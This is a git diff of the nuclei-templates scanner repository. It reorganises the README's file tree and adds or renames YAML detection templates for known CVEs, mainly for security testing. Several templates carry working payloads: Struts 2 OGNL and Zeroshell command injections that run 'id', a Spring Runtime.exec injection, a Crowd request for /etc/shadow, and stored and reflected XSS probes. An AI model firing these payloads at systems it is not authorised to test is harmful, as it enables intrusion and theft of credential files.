-│   ├── jira-unauthenticated-user-picker.yaml
-│   ├── jupyter-ipython-unauth.yaml
-│   ├── larvel-debug.yaml
-│   ├── manage-engine-ad-search.yaml
+│   ├── dir-listing.yaml
+│   ├── htaccess-config.yaml
 │   ├── missing-csp.yaml
 │   ├── missing-hsts.yaml
 │   ├── missing-x-frame-options.yaml
+│   ├── ntlm-directories.yaml
+│   ├── old-copyright.yaml
+│   ├── robots.txt.yaml
+│   ├── security.txt.yaml
+│   ├── trace-method.yaml
+│   ├── unencrypted-bigip-ltm-cookie.yaml
+│   ├── wp-xmlrpc.yaml
+│   └── xml-schema-detect.yaml
+├── misconfiguration
+│   ├── aem-groovyconsole.yaml
+│   ├── airflow-api-exposure.yaml
+│   ├── apache-tomcat-snoop.yaml
+│   ├── apc-info.yaml
+│   ├── aspx-debug-mode.yaml
+│   ├── aws-redirect.yaml
+│   ├── cgi-test-page.yaml
+│   ├── django-debug-detect.yaml
+│   ├── docker-api.yaml
+│   ├── docker-registry.yaml
+│   ├── druid-monitor.yaml
+│   ├── drupal-user-enum-ajax.yaml
+│   ├── drupal-user-enum-redirect.yaml
+│   ├── elasticsearch.yaml
+│   ├── exposed-kibana.yaml
+│   ├── exposed-service-now.yaml
+│   ├── front-page-misconfig.yaml
+│   ├── hadoop-unauth.yaml
+│   ├── jkstatus-manager.yaml
+│   ├── jupyter-ipython-unauth.yaml
+│   ├── kubernetes-pods.yaml
+│   ├── larvel-debug.yaml
+│   ├── linkerd-ssrf-detect.yaml
+│   ├── manage-engine-ad-search.yaml
+│   ├── php-errors.yaml
 │   ├── put-method-enabled.yaml
 │   ├── rack-mini-profiler.yaml
 │   ├── salesforce-aura-misconfig.yaml
+│   ├── shell-history.yaml
 │   ├── sidekiq-dashboard.yaml
 │   ├── springboot-detect.yaml
+│   ├── symfony-debugmode.yaml
+│   ├── tomcat-scripts.yaml
 │   ├── unauthenticated-airflow.yaml
-│   ├── unauthenticated-jenkin-dashboard.yaml
+│   ├── unauthenticated-nacos-access.yaml
 │   ├── wamp-xdebug-detect.yaml
-│   ├── wordpress-accessible-wpconfig.yaml
 │   └── zenphoto-installation-sensitive-info.yaml
-├── subdomain-takeover
-│   ├── detect-all-takeovers.yaml
-│   └── s3-subtakeover.yaml
+├── takeovers
+│   └── subdomain-takeover.yaml
 ├── technologies
 │   ├── apache-detect.yaml
 │   ├── artica-web-proxy-detect.yaml
 │   ├── basic-auth-detection.yaml
 │   ├── bigip-config-utility-detect.yaml
-│   ├── citrix-vpn-detect.yaml
+│   ├── cacti-detect.yaml
 │   ├── clockwork-php-page.yaml
 │   ├── couchdb-detect.yaml
 │   ├── favicon-detection.yaml
-│   ├── github-enterprise-detect.yaml
-│   ├── gitlab-detect.yaml
+│   ├── firebase-detect.yaml
 │   ├── google-storage.yaml
 │   ├── graphql.yaml
+│   ├── graylog-api-browser.yaml
 │   ├── home-assistant.yaml
 │   ├── jaspersoft-detect.yaml
-│   ├── jira-detect.yaml
+│   ├── jolokia.yaml
 │   ├── kibana-detect.yaml
 │   ├── kong-detect.yaml
 │   ├── liferay-portal-detect.yaml
 │   ├── linkerd-badrule-detect.yaml
-│   ├── linkerd-ssrf-detect.yaml
 │   ├── lotus-domino-version.yaml
 │   ├── magmi-detect.yaml
+│   ├── mrtg-detect.yaml
 │   ├── netsweeper-webadmin-detect.yaml
 │   ├── nifi-detech.yaml
 │   ├── oidc-detect.yaml
 │   ├── pi-hole-detect.yaml
-│   ├── prometheus-exporter-detect.yaml
 │   ├── prometheus-exposed-panel.yaml
+│   ├── prtg-detect.yaml
+│   ├── redmine-cli-detect.yaml
 │   ├── s3-detect.yaml
 │   ├── sap-netweaver-as-java-detect.yaml
 │   ├── sap-netweaver-detect.yaml
 │   ├── shiro-detect.yaml
 │   ├── sql-server-reporting.yaml
 │   ├── tech-detect.yaml
+│   ├── telerik-dialoghandler-detect.yaml
+│   ├── telerik-fileupload-detect.yaml
+│   ├── terraform-detect.yaml
 │   ├── tomcat-detect.yaml
+│   ├── tor-socks-proxy.yaml
 │   ├── waf-detect.yaml
 │   ├── weblogic-detect.yaml
 │   └── werkzeug-debugger-detect.yaml
-├── tokens
-│   ├── amazon-mws-auth-token-value.yaml
-│   ├── aws-access-key-value.yaml
-│   ├── credentials-disclosure.yaml
-│   ├── fcm-server-key.yaml
-│   ├── google-api-key.yaml
-│   ├── http-username-password.yaml
-│   ├── mailchimp-api-key.yaml
-│   └── slack-access-token.yaml
 ├── vulnerabilities
-│   ├── bullwark-momentum-series-directory-traversal.yaml
-│   ├── cached-aem-pages.yaml
-│   ├── couchdb-adminparty.yaml
-│   ├── crlf-injection.yaml
-│   ├── discourse-xss.yaml
-│   ├── eclipse-help-system-xss.yaml
-│   ├── git-config-nginxoffbyslash.yaml
-│   ├── ibm-infoprint-directory-traversal.yaml
-│   ├── microstrategy-ssrf.yaml
-│   ├── mida-eframework-xss.yaml
-│   ├── moodle-filter-jmol-lfi.yaml
-│   ├── moodle-filter-jmol-xss.yaml
-│   ├── nginx-module-vts-xss.yaml
-│   ├── nuuo-nvrmini2-rce.yaml
-│   ├── open-redirect.yaml
-│   ├── oracle-ebs-bispgraph-file-access.yaml
-│   ├── pdf-signer-ssti-to-rce.yaml
-│   ├── rce-shellshock-user-agent.yaml
-│   ├── rce-via-java-deserialization.yaml
-│   ├── rconfig-rce.yaml
-│   ├── sassy-social-share.yaml
-│   ├── sick-beard-xss.yaml
-│   ├── springboot-actuators-jolokia-xxe.yaml
-│   ├── springboot-h2-db-rce.yaml
-│   ├── symantec-messaging-gateway.yaml
-│   ├── symfony-debugmode.yaml
-│   ├── tikiwiki-reflected-xss.yaml
-│   ├── tomcat-manager-pathnormalization.yaml
-│   ├── twig-php-ssti.yaml
-│   ├── vmware-vcenter-lfi.yaml
-│   ├── vpms-auth-bypass.yaml
-│   ├── w3c-total-cache-ssrf.yaml
-│   ├── wems-manager-xss.yaml
-│   ├── wordpress-duplicator-path-traversal.yaml
-│   ├── wordpress-emails-verification-for-woocommerce.yaml
-│   ├── wordpress-social-metrics-tracker.yaml
-│   ├── wordpress-wordfence-xss.yaml
-│   ├── wordpress-wpcourses-info-disclosure.yaml
-│   └── zms-auth-bypass.yaml
-├── wordlists
-│   └── wp-plugins.txt
+│   ├── generic
+│   │   ├── basic-cors.yaml
+│   │   ├── basic-xss-prober.yaml
+│   │   ├── crlf-injection.yaml
+│   │   ├── top-xss-params.yaml
+│   │   └── url-redirect.yaml
+│   ├── ibm
+│   │   ├── eclipse-help-system-xss.yaml
+│   │   └── ibm-infoprint-directory-traversal.yaml
+│   ├── jenkins
+│   │   ├── jenkins-asyncpeople.yaml
+│   │   ├── jenkins-stack-trace.yaml
+│   │   └── unauthenticated-jenkin-dashboard.yaml
+│   ├── jira
+│   │   ├── jira-service-desk-signup.yaml
+│   │   ├── jira-unauthenticated-dashboards.yaml
+│   │   ├── jira-unauthenticated-popular-filters.yaml
+│   │   ├── jira-unauthenticated-projects.yaml
+│   │   └── jira-unauthenticated-user-picker.yaml
+│   ├── moodle
+│   │   ├── moodle-filter-jmol-lfi.yaml
+│   │   └── moodle-filter-jmol-xss.yaml
+│   ├── oracle
+│   │   └── oracle-ebs-bispgraph-file-access.yaml
+│   ├── other
+│   │   ├── acme-xss.yaml
+│   │   ├── aspnuke-openredirect.yaml
+│   │   ├── bullwark-momentum-series-directory-traversal.yaml
+│   │   ├── cached-aem-pages.yaml
+│   │   ├── couchdb-adminparty.yaml
+│   │   ├── discourse-xss.yaml
+│   │   ├── mcafee-epo-rce.yaml
+│   │   ├── microstrategy-ssrf.yaml
+│   │   ├── mida-eframework-xss.yaml
+│   │   ├── nginx-module-vts-xss.yaml
+│   │   ├── nuuo-nvrmini2-rce.yaml
+│   │   ├── pdf-signer-ssti-to-rce.yaml
+│   │   ├── rce-shellshock-user-agent.yaml
+│   │   ├── rce-via-java-deserialization.yaml
+│   │   ├── rconfig-rce.yaml
+│   │   ├── sick-beard-xss.yaml
+│   │   ├── symantec-messaging-gateway.yaml
+│   │   ├── thinkific-redirect.yaml
+│   │   ├── tikiwiki-reflected-xss.yaml
+│   │   ├── twig-php-ssti.yaml
+│   │   ├── vpms-auth-bypass.yaml
+│   │   ├── wems-manager-xss.yaml
+│   │   ├── yarn-resourcemanager-rce.yaml
+│   │   └── zms-auth-bypass.yaml
+│   ├── rails
+│   │   └── rails6-xss.yaml
+│   ├── springboot
+│   │   ├── springboot-actuators-jolokia-xxe.yaml
+│   │   └── springboot-h2-db-rce.yaml
+│   ├── vmware
+│   │   ├── vmware-vcenter-lfi-linux.yaml
+│   │   └── vmware-vcenter-lfi.yaml
+│   └── wordpress
+│       ├── easy-wp-smtp-listing.yaml
+│       ├── sassy-social-share.yaml
+│       ├── w3c-total-cache-ssrf.yaml
+│       ├── wordpress-accessible-wpconfig.yaml
+│       ├── wordpress-db-backup.yaml
+│       ├── wordpress-debug-log.yaml
+│       ├── wordpress-directory-listing.yaml
+│       ├── wordpress-emails-verification-for-woocommerce.yaml
+│       ├── wordpress-emergency-script.yaml
+│       ├── wordpress-installer-log.yaml
+│       ├── wordpress-social-metrics-tracker.yaml
+│       ├── wordpress-tmm-db-migrate.yaml
+│       ├── wordpress-user-enumeration.yaml
+│       ├── wordpress-wordfence-xss.yaml
+│       └── wordpress-wpcourses-info-disclosure.yaml
 └── workflows
    ├── artica-web-proxy-workflow.yaml
-    ├── basic-auth-workflow.yaml
-    ├── bigip-pwner-workflow.yaml
+    ├── bigip-workflow.yaml
    ├── cisco-asa-workflow.yaml
    ├── grafana-workflow.yaml
-    ├── jira-exploitation-workflow.yaml
-    ├── liferay-rce-workflow.yaml
+    ├── jira-workflow.yaml
+    ├── liferay-workflow.yaml
    ├── lotus-domino-workflow.yaml
    ├── magmi-workflow.yaml
    ├── mida-eframework-workflow.yaml
-    ├── netsweeper-preauth-rce-workflow.yaml
+    ├── netsweeper-workflow.yaml
    ├── rabbitmq-workflow.yaml
    ├── sap-netweaver-workflow.yaml
-    ├── springboot-pwner-workflow.yaml
+    ├── solarwinds-orion-workflow.yaml
+    ├── springboot-workflow.yaml
    ├── vbulletin-workflow.yaml
    └── wordpress-workflow.yaml
 ```

 </details>

-**15 directories, 375 files**.
+**53 directories, 473 files**.

-Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding. 
+📖 Documentation
+-----
+
+Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to **build** new and your **own custom** templates, we have also added many example templates for easy understanding.
+
+💪 Contributions
+-----
+
+Nuclei-templates is powered by major contributions from the community. [Template contributions ](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Feature Requests](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) and [Bug Reports](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) are more than welcome.
+
+💬 Discussion
+-----
+
+Have questions / doubts / ideas to discuss? feel free to open a discussion using [Github discussions](https://github.com/projectdiscovery/nuclei-templates/discussions) board.
+
+👨‍💻 Community
+-----
+
+You are welcomed to join our [Discord Community](https://discord.gg/KECAGdH). You can also follow us on [Twitter](https://twitter.com/pdiscoveryio) to keep up with everything related to projectdiscovery.
+
+💡 Notes
+-----
+-  Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/) to validate the syntax of templates before sending pull requests.

------
-**Notes:** 
-1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
-2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.

 Thanks again for your contribution and keeping the community vibrant. :heart:
@@ -1,4 +1,4 @@
-id: cve-2005-2428
+id: CVE-2005-2428
 info:
  name: CVE-2005-2428
  author: CasperGN
@@ -0,0 +1,26 @@
+id: CVE-2008-2398
+
+info:
+  name: AppServ Open Project 2.5.10 and earlier XSS
+  author: unstabl3
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/index.php?appservlang=%3Csvg%2Fonload=confirm%28%27xss%27%29%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "<svg/onload=confirm('xss')>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -0,0 +1,46 @@
+id: CVE-2013-2251
+
+info:
+  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
+  author: exploitation & @dwisiswant0
+  severity: critical
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+
+requests:
+  - payloads:
+      params:
+        - "redirect"
+        - "action"
+        - "redirectAction"
+    raw:
+      - |
+        GET /index.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+      - |
+        GET /login.action?§params§:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1
+        Host: {{Hostname}}
+        Connection: close
+        Accept: */*
+        Accept-Language: en
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+          - 400
+        condition: or
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
+      - type: word
+        words:
+          - "There is no Action mapped for namespace"
+          - "The origin server did not find a current representation for the target resource"
+          - "Apache Tomcat"
+        condition: or
+        part: body
@@ -9,7 +9,7 @@ info:
 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/"
+      - "{{BaseURL}}"
      - "{{BaseURL}}/cgi-bin/status"
      - "{{BaseURL}}/cgi-bin/stats"
      - "{{BaseURL}}/cgi-bin/test"
@@ -1,4 +1,4 @@
-id: cve-2017-10075
+id: CVE-2017-10075

 info:
  name: Oracle Content Server XSS
@@ -1,4 +1,4 @@
-id: cve-2017-11444
+id: CVE-2017-11444

 info:
  name: Subrion CMS SQL Injection
@@ -1,4 +1,4 @@
-id: cve-2017-12637
+id: CVE-2017-12637

 info:
  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
@@ -1,4 +1,4 @@
-id: cve-2017-14537
+id: CVE-2017-14537

 info:
  name: trixbox 2.8.0 - directory-traversal
@@ -1,4 +1,4 @@
-id: cve-2017-14849
+id: CVE-2017-14849

 info:
  name: Node.js 8.5.0 >=< 8.6.0 Directory Traversal
@@ -1,4 +1,4 @@
-id: cve-2017-5638
+id: CVE-2017-5638
 info:
  author: "Random Robbie"
  name: "Struts2 RCE "
@@ -1,4 +1,4 @@
-id: cve-2017-7391
+id: CVE-2017-7391

 info:
  name: Magmi – Cross-Site Scripting v.0.7.22
@@ -22,4 +22,9 @@ requests:
      - type: word
        words:
          - '"><script>alert(document.domain);</script><'
-        part: body
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: cve-2017-7615
+id: CVE-2017-7615

 info:
  name: CVE-2017-7615
@@ -1,8 +1,8 @@
-id: cve-2017-9506
+id: CVE-2017-9506

 info:
  name: Jira IconURIServlet SSRF
-  author: Ice3man
+  author: pd-team
  severity: high
  description: The IconUriServlet of the Atlassian OAuth Plugin from version 1.3.0 before version 1.9.12 and from version 2.0.0 before version 2.0.4 allows remote attackers to access the content of internal network resources and/or perform an XSS attack via Server Side Request Forgery (SSRF).

@@ -1,4 +1,4 @@
-id: cve-2017-9841
+id: CVE-2017-9841

 info:
  name: CVE-2017-9841
@@ -1,4 +1,4 @@
-id: cve-2018-0296
+id: CVE-2018-0296

 info:
  name: Cisco ASA path traversal vulnerability
@@ -1,4 +1,4 @@
-id: cve-2018-1000129
+id: CVE-2018-1000129

 info:
  name: Jolokia XSS
@@ -11,7 +11,6 @@ requests:
    path:
      - "{{BaseURL}}/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
      - "{{BaseURL}}/api/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
-      - "{{BaseURL}}:8080/jolokia/read<svg onload=alert(document.domain)>?mimeType=text/html"
    matchers-condition: and
    matchers:
      - type: status
@@ -1,4 +1,4 @@
-id: cve-2018-11409
+id: CVE-2018-11409

 info:
  name: Splunk Sensitive Information Disclosure
@@ -1,4 +1,4 @@
-id: cve-2018-11759
+id: CVE-2018-11759

 info:
  name: Apache Tomcat JK Status Manager Access
@@ -1,4 +1,4 @@
-id: cve-2018-1247
+id: CVE-2018-1247

 info:
  name: RSA Authentication Manager XSS
@@ -1,4 +1,4 @@
-id: cve-2018-1271
+id: CVE-2018-1271

 info:
  name: Spring MVC Directory Traversal Vulnerability
@@ -1,4 +1,4 @@
-id: cve-2018-1273
+id: CVE-2018-1273

 info:
  name: Spring Data Commons Unauthenticated RCE
@@ -24,7 +24,7 @@ requests:
        Connection: close
        Content-Type: application/x-www-form-urlencoded

-        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('command')}}')]=nuclei
+        name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('{{url_encode('§command§')}}')]=nuclei
    matchers:
      - type: regex
        regex:
@@ -1,4 +1,4 @@
-id: cve-2018-13379
+id: CVE-2018-13379

 info:
  name: FortiOS - Credentials Disclosure
@@ -0,0 +1,31 @@
+id: CVE-2018-13380
+
+info:
+  name: Fortinet FortiOS Cross-Site Scripting
+  author: shelld3v
+  severity: medium
+  description: A Cross-site Scripting (XSS) vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
+  type: XSS
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2018-13380
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/message?title=x&msg=%26%23<svg/onload=alert(1337)>"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload=alert(1337)>"
+        part: body
+
+      - type: word
+        words:
+          - "application/json"
+        part: header
+        negative: true
+
+      - type: status
+        status:
+          - 200
@@ -1,4 +1,4 @@
-id: cve-2018-14728
+id: CVE-2018-14728

 info:
  name: Responsive filemanager 9.13.1 - SSRF/LFI
@@ -1,4 +1,4 @@
-id: cve-2018-16341
+id: CVE-2018-16341

 info:
  name: Nuxeo Authentication Bypass Remote Code Execution
@@ -1,4 +1,4 @@
-id: cve-2018-16763
+id: CVE-2018-16763

 info:
  name: fuelCMS 1.4.1 - Remote Code Execution
@@ -1,4 +1,4 @@
-id: cve-2018-17431
+id: CVE-2018-17431

 info:
  name: Comodo Unified Threat Management Web Console 2.7.0 - RCE
@@ -1,4 +1,4 @@
-id: cve-2018-18069
+id: CVE-2018-18069

 info:
  name: Wordpress unauthenticated stored xss
@@ -1,4 +1,4 @@
-id: cve-2018-19386
+id: CVE-2018-19386

 info:
  name: SolarWinds Database Performance Analyzer 11.1. 457 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: cve-2018-19439
+id: CVE-2018-19439

 info:
  name: Cross Site Scripting in Oracle Secure Global Desktop Administration Console
@@ -1,4 +1,4 @@
-id: cve-2018-20824
+id: CVE-2018-20824

 info:
  name: Atlassian Jira WallboardServlet XSS
@@ -1,4 +1,4 @@
-id: cve-2018-2791
+id: CVE-2018-2791

 info:
  name: Oracle WebCenter Sites XSS
@@ -9,8 +9,15 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/Satellite?destpage=%22%3Ch1xxx%3Cscriptalert(1)%3C%2Fscript&pagename=OpenMarket%2FXcelerate%2FUIFramework%2FLoginError"
+
+    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<h1xxx<scriptalert(1)</script"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: cve-2018-3714
+id: CVE-2018-3714
 info:
  name: node-srv Path Traversal
  author: madrobot
@@ -1,7 +1,7 @@
-id: cve-2018-3760
+id: CVE-2018-3760

 info:
-  name: Rails cve-2018-3760
+  name: Rails CVE-2018-3760
  author: 0xrudra
  severity: high

@@ -1,4 +1,4 @@
-id: cve-2018-5230
+id: CVE-2018-5230

 info:
  name: Atlassian Confluence Status-List XSS
@@ -0,0 +1,18 @@
+id: CVE-2018-7251
+
+info:
+  name: AnchorCMS Error Log Exposure
+  author: pd-team
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/anchor/errors.log'
+    matchers:
+      - type: word
+        words:
+          - '"date":'
+          - '"message":'
+          - '"trace":['
+        condition: and
@@ -1,4 +1,4 @@
-id: cve-2018-7490
+id: CVE-2018-7490

 info:
  name: uWSGI PHP Plugin Directory Traversal
@@ -0,0 +1,20 @@
+id: CVE-2018-8006
+
+info:
+  name: Apache ActiveMQ XSS
+  author: pd-team
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/admin/queues.jsp?QueueFilter=yu1ey%22%3e%3cscript%3ealert(%221%22)%3c%2fscript%3eqb68'
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '"><script>alert("1")</script>'
+      - type: word
+        words:
+          - "/html"
+        part: header
@@ -0,0 +1,15 @@
+id: CVE-2019-10092
+
+info:
+  name: Apache mod_proxy HTML Injection / Partial XSS
+  author: pd-team
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/%5cgoogle.com/evil.html'
+    matchers:
+      - type: word
+        words:
+          - "<a href=\"/\\google.com/evil.html\">"
@@ -1,4 +1,4 @@
-id: cve-2019-1010287
+id: CVE-2019-1010287

 info:
  name: Timesheet 1.5.3 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: cve-2019-10475
+id: CVE-2019-10475

 info:
  name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
@@ -18,3 +18,8 @@ requests:
        words:
          - "<svg/onload=alert(1337)>"
        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: cve-2019-11248
+id: CVE-2019-11248

 info:
  name: exposed_pprof
@@ -1,4 +1,4 @@
-id: cve-2019-11510
+id: CVE-2019-11510

 info:
  name: Pulse Connect Secure SSL VPN arbitrary file read vulnerability
@@ -1,4 +1,4 @@
-id: cve-2019-11580
+id: CVE-2019-11580

 info:
  name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
@@ -24,7 +24,6 @@ requests:
  - method: GET
    path:
      - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
-      - "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
    matchers-condition: and
    matchers:
      - type: word
@@ -0,0 +1,38 @@
+id: CVE-2019-11581
+
+info:
+  name: Atlassian Jira template injection
+  description: There was a server-side template injection vulnerability in Jira Server and Data Center, in the ContactAdministrators and the SendBulkMail actions. An attacker is able to remotely execute code on systems that run a vulnerable version of Jira Server or Data Center. All versions of Jira Server and Data Center from 4.4.0 before 7.6.14, from 7.7.0 before 7.13.5, from 8.0.0 before 8.0.3, from 8.1.0 before 8.1.2, and from 8.2.0 before 8.2.3 are affected by this vulnerability.
+  author: ree4pwn
+  severity: critical
+  reference: https://github.com/jas502n/CVE-2019-11581
+  product: Jira
+
+  # This is detection template only, use the referenced link for the exploitation.
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/secure/ContactAdministrators!default.jspa"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "\\(v4\\.4\\."
+          - "\\(v5\\."
+          - "\\(v6\\."
+          - "\\(v7\\.[012345789]\\."
+          - "\\(v7\\.1[0-2]\\."
+          - "\\(v7\\.6\\.([0-9]|[1][0-3])"
+          - "\\(v7\\.\\13\\.[0-4]"
+          - "\\(v8\\.0\\.[0-2]"
+          - "\\(v8\\.1\\.[0-1]"
+          - "\\(v8\\.2\\.[0-2]"
+        condition: or
+        part: body
+
+      - type: word
+        words:
+          - "Contact Site Administrators"
+        part: body
@@ -0,0 +1,43 @@
+id: CVE-2019-11869
+
+info:
+  name: Yuzo Related Posts plugin XSS
+  author: ganofins
+  severity: medium
+  description: |
+    The Yuzo Related Posts plugin before 5.12.94 for WordPress has XSS
+    because it mistakenly expects that is_admin() verifies that the
+    request comes from an admin user (it actually only verifies that the
+    request is for an admin page). An unauthenticated attacker can inject
+    a payload into the plugin settings, such as the
+    yuzo_related_post_css_and_style setting.
+
+    References:
+    - https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
+    - https://wpscan.com/vulnerability/9254
+
+requests:
+  - raw:
+      - |
+        POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Content-Type: application/x-www-form-urlencoded
+
+        yuzo_related_post_css_and_style=</style><script>alert(0);</script>
+
+      - |
+        GET / HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
+        Upgrade-Insecure-Requests: 1
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body_2, "<script>alert(0);</script>") == true'
+
+      - type: dsl
+        dsl:
+          - "contains(tolower(all_headers_2), 'text/html') == true"
@@ -1,4 +1,4 @@
-id: cve-2019-12314
+id: CVE-2019-12314

 info:
  name: Deltek Maconomy 2.2.5 LFIl
@@ -1,4 +1,4 @@
-id: cve-2019-12461
+id: CVE-2019-12461

 info:
  name: WebPort 1.19.1 - Reflected Cross-Site Scripting
@@ -23,3 +23,7 @@ requests:
        words:
          - '"</script><script>alert(document.domain);</script><script>'
        part: body
+      - type: word
+        words:
+          - "text/html"
+        part: header
@@ -1,4 +1,4 @@
-id: cve-2019-12593
+id: CVE-2019-12593

 info:
  name: IIceWarp <=10.4.4 - Local File Inclusion
@@ -0,0 +1,27 @@
+id: CVE-2019-12725
+
+info:
+  name: Zeroshell 3.9.0 Remote Command Execution
+  author: dwisiswant0
+  severity: critical
+  description: |
+    This template exploits an unauthenticated command injection vulnerability
+    found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.
+    As sudo is configured to execute /bin/tar without a password (NOPASSWD)
+    it is possible to run root commands using the "checkpoint" tar options.
+  references: |
+    - https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
+    - https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22id%22%0A%27"
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: regex
+        regex:
+          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
@@ -0,0 +1,19 @@
+id: CVE-2019-14223
+
+info:
+  name: Alfresco Share Open Redirect
+  author: pd-team
+  severity: low
+
+requests:
+  - method: POST
+    path:
+      - '{{BaseURL}}/share/page/dologin'
+    headers:
+      Content-Type: application/x-www-form-urlencoded
+    body: success=%2Fshare%2Fpage%2F&failure=:\\google.com&username=baduser&password=badpass
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - "(?m)^(?:Location\\s*:\\s*)(?:https?://|//|\\\\)?(?:[a-zA-Z0-9\\-_]*\\.)?google\\.com(?:\\s*)$"
@@ -1,4 +1,4 @@
-id: cve-2019-14322
+id: CVE-2019-14322

 info:
  name: Odoo 12.0 - Local File Inclusion
@@ -1,4 +1,4 @@
-id: cve-2019-14696
+id: CVE-2019-14696

 info:
  name: Open-Scool 3.0/Community Edition 2.3 - Cross Site Scripting
@@ -1,4 +1,4 @@
-id: cve-2019-14974
+id: CVE-2019-14974

 info:
  name: SugarCRM Enterprise 9.0.0 - Cross-Site Scripting
@@ -1,4 +1,4 @@
-id: cve-2019-15043
+id: CVE-2019-15043
 info:
  author: bing0o
  name: Grafana unauthenticated API
@@ -1,4 +1,4 @@
-id: cve-2019-15107
+id: CVE-2019-15107

 info:
  name: Webmin <= 1.920 Unauhenticated Remote Command Execution
@@ -1,8 +1,8 @@
-id: cve-2019-15858
+id: CVE-2019-15858

 info:
  name: Unauthenticated Woody Ad Snippets WordPress Plugin RCE
-  author: dwisiswant0
+  author: dwisiswant0 & fmunozs & patralos
  severity: high
  description: |
    This template supports the detection part only. See references.
@@ -18,12 +18,25 @@ requests:
